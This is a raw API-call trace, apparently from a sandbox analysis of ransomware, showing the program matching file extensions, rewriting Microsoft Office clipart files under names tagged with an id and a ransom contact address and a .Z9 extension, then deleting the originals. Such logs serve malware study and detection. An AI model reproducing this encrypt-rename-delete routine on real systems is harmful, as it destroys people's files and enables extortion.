	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".jpg") returned 4
	[0090.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".doc") returned 4
	[0090.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString=".docx") returned 5
	[0090.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.825] lstrlenW (lpString=".pdf") returned 4
	[0090.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString=".xls") returned 4
	[0090.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.825] lstrlenW (lpString=".xlsx") returned 5
	[0090.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.825] lstrlenW (lpString=".ppt") returned 4
	[0090.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".zip") returned 4
	[0090.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.826] lstrlenW (lpString=".rar") returned 4
	[0090.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.826] lstrlenW (lpString=".bz2") returned 4
	[0090.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.826] lstrlenW (lpString=".7z") returned 3
	[0090.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.826] lstrlenW (lpString=".dbf") returned 4
	[0090.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.826] lstrlenW (lpString=".1cd") returned 4
	[0090.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.826] lstrlenW (lpString=".jpg") returned 4
	[0090.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.826] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.826] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0090.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.826] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2052) returned 1
	[0090.826] CloseHandle (hObject=0x38c) returned 1
	[0090.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220
	[0090.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.827] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.827] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.827] GetLastError () returned 0x0
	[0090.827] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x804, lpOverlapped=0x0) returned 1
	[0090.828] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x810, lpOverlapped=0x0) returned 1
	[0090.829] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.829] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.830] SetEndOfFile (hFile=0x398) returned 1
	[0090.830] CloseHandle (hObject=0x398) returned 1
	[0090.830] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.830] SetEndOfFile (hFile=0x38c) returned 1
	[0090.831] CloseHandle (hObject=0x38c) returned 1
	[0090.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0090.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.831] lstrlenW (lpString=".doc") returned 4
	[0090.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.831] lstrlenW (lpString=".docx") returned 5
	[0090.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.831] lstrlenW (lpString=".pdf") returned 4
	[0090.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.831] lstrlenW (lpString=".xls") returned 4
	[0090.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.831] lstrlenW (lpString=".xlsx") returned 5
	[0090.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.831] lstrlenW (lpString=".ppt") returned 4
	[0090.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.831] lstrlenW (lpString=".zip") returned 4
	[0090.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.832] lstrlenW (lpString=".rar") returned 4
	[0090.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString=".bz2") returned 4
	[0090.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString=".7z") returned 3
	[0090.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString=".dbf") returned 4
	[0090.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString=".1cd") returned 4
	[0090.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString=".jpg") returned 4
	[0090.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString=".doc") returned 4
	[0090.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString=".docx") returned 5
	[0090.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.832] lstrlenW (lpString=".pdf") returned 4
	[0090.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString=".xls") returned 4
	[0090.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.832] lstrlenW (lpString=".xlsx") returned 5
	[0090.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.832] lstrlenW (lpString=".ppt") returned 4
	[0090.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.832] lstrlenW (lpString=".zip") returned 4
	[0090.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.832] lstrlenW (lpString=".rar") returned 4
	[0090.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.832] lstrlenW (lpString=".bz2") returned 4
	[0090.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.833] lstrlenW (lpString=".7z") returned 3
	[0090.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.833] lstrlenW (lpString=".dbf") returned 4
	[0090.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.833] lstrlenW (lpString=".1cd") returned 4
	[0090.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0090.833] lstrlenW (lpString=".jpg") returned 4
	[0090.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.833] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.833] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0090.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.833] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2232) returned 1
	[0090.833] CloseHandle (hObject=0x38c) returned 1
	[0090.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220
	[0090.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.834] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.834] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.834] GetLastError () returned 0x0
	[0090.834] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0091.178] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0091.179] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.179] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.179] SetEndOfFile (hFile=0x398) returned 1
	[0091.181] CloseHandle (hObject=0x398) returned 1
	[0091.182] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.182] SetEndOfFile (hFile=0x38c) returned 1
	[0091.182] CloseHandle (hObject=0x38c) returned 1
	[0091.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0091.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.183] lstrlenW (lpString=".doc") returned 4
	[0091.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.183] lstrlenW (lpString=".docx") returned 5
	[0091.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.183] lstrlenW (lpString=".pdf") returned 4
	[0091.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.183] lstrlenW (lpString=".xls") returned 4
	[0091.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.183] lstrlenW (lpString=".xlsx") returned 5
	[0091.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.183] lstrlenW (lpString=".ppt") returned 4
	[0091.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.183] lstrlenW (lpString=".zip") returned 4
	[0091.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.183] lstrlenW (lpString=".rar") returned 4
	[0091.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.183] lstrlenW (lpString=".bz2") returned 4
	[0091.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.183] lstrlenW (lpString=".7z") returned 3
	[0091.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".dbf") returned 4
	[0091.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".1cd") returned 4
	[0091.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".jpg") returned 4
	[0091.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".doc") returned 4
	[0091.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString=".docx") returned 5
	[0091.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.184] lstrlenW (lpString=".pdf") returned 4
	[0091.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString=".xls") returned 4
	[0091.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.184] lstrlenW (lpString=".xlsx") returned 5
	[0091.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.184] lstrlenW (lpString=".ppt") returned 4
	[0091.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".zip") returned 4
	[0091.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.184] lstrlenW (lpString=".rar") returned 4
	[0091.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString=".bz2") returned 4
	[0091.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString=".7z") returned 3
	[0091.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".dbf") returned 4
	[0091.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.184] lstrlenW (lpString=".1cd") returned 4
	[0091.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0091.185] lstrlenW (lpString=".jpg") returned 4
	[0091.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.185] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.185] lstrlenW (lpString="DD01181_.WMF") returned 12
	[0091.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.185] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1448) returned 1
	[0091.185] CloseHandle (hObject=0x38c) returned 1
	[0091.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220
	[0091.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0091.186] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.186] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.186] GetLastError () returned 0x0
	[0091.186] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x5a8, lpOverlapped=0x0) returned 1
	[0091.187] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0091.188] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.188] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.188] SetEndOfFile (hFile=0x398) returned 1
	[0091.189] CloseHandle (hObject=0x398) returned 1
	[0091.189] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.189] SetEndOfFile (hFile=0x38c) returned 1
	[0091.189] CloseHandle (hObject=0x38c) returned 1
	[0091.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0091.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.190] lstrlenW (lpString=".doc") returned 4
	[0091.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.190] lstrlenW (lpString=".docx") returned 5
	[0091.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.190] lstrlenW (lpString=".pdf") returned 4
	[0091.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.190] lstrlenW (lpString=".xls") returned 4
	[0091.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.190] lstrlenW (lpString=".xlsx") returned 5
	[0091.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.190] lstrlenW (lpString=".ppt") returned 4
	[0091.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.190] lstrlenW (lpString=".zip") returned 4
	[0091.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.190] lstrlenW (lpString=".rar") returned 4
	[0091.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.190] lstrlenW (lpString=".bz2") returned 4
	[0091.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString=".7z") returned 3
	[0091.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".dbf") returned 4
	[0091.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0091.191] lstrlenW (lpString=".1cd") returned 4
